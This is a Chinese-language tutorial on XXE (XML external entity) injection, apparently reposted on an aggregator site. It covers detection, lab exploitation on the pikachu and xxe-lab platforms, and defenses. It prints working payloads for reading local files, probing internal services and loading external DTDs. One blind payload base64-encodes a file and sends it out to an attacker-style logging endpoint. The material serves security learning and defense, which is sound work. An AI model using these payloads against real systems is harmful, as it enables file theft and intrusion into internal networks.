IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 网络安全笔记 -- XXE&XML(利用、检测、绕过) -> 正文阅读

[网络协议]网络安全笔记 -- XXE&XML(利用、检测、绕过)

1. 概念

XML: 指可扩展标记语言,被设计用来传输和存储数据。

XXE: 全称(XML External Entity Injection)XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。

2. 检测和利用

2.1 概要

检测

  • 白盒: 函数及可控变量查找、传输和存储数据格式类型
  • 黑盒: 人工、 工具

人工检测包含:

  • 数据格式类型判断:<user>test</user><pass>Mikasa</pass>
  • Content-Type值判断:text/xml、application/xml
  • 更改Content-Type值看返回

利用

  • 输出形式:有回显(http、file、各脚本协议、外部引用)、无回显(外部引用-反向链接配合)
  • 过滤绕过:协议玩法、外部引用、编码UTF-16BE

2.2 实例

2.2.1 pikachu平台实例(有回显)

在这里插入图片描述

读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<x>&xxe;</x>

内网探针或攻击内网应用

<?xml version = "1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ELEMENT foo ANY>
	<!ENTITY rabbit SYSTEM "http://127.0.0.1:8080/index.txt">
]>
<x>&rabbit;</x>

引入外部实体dtd(需要开启 “允许外部条件使用”)

<?xml version = "1.0" ?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "http://127.0.0.1:8080/evil.dtd">
	%file;
]>
<x>&send;</x>

evil.dtd文件:

<!ENTITY send SYSTEM "file:///usr//a.txt">

2.2.2 pikachu平台实例(无回显)

读取文件,将文件内容发送到特定网站(攻击者网站),通过查看日志文件得到结果

<!DOCTYPE ANY [
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///usr//a.txt">
	<!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/evil.dtd">
	%dtd;
	%send;
]>

evil.dtd文件:

<!ENTITY % payload 
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1:8080/re.php?data=%file;'>"
 >
%payload;

2.2.3 xxe-lab平台实例

检测思路和利用

  1. 提交的数据包包含XML格式如:
    admin123
  2. 请求头中如:
    Content-Type: application/xml;charset=utf-8
    Content-Type: text/xml;charset=utf-8
  3. 构造payload,并上传
<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///usr//a.txt">
]>
<user><username>&xxe;</username><password>1</password></user>

在这里插入图片描述
在这里插入图片描述

3. 防御

1. 禁用外部实体
PHP
Python
Java

2. 过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

3. 使用WAF产品

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-09-25 23:23:31  更:2022-09-25 23:23:49 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/25 20:45:49-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码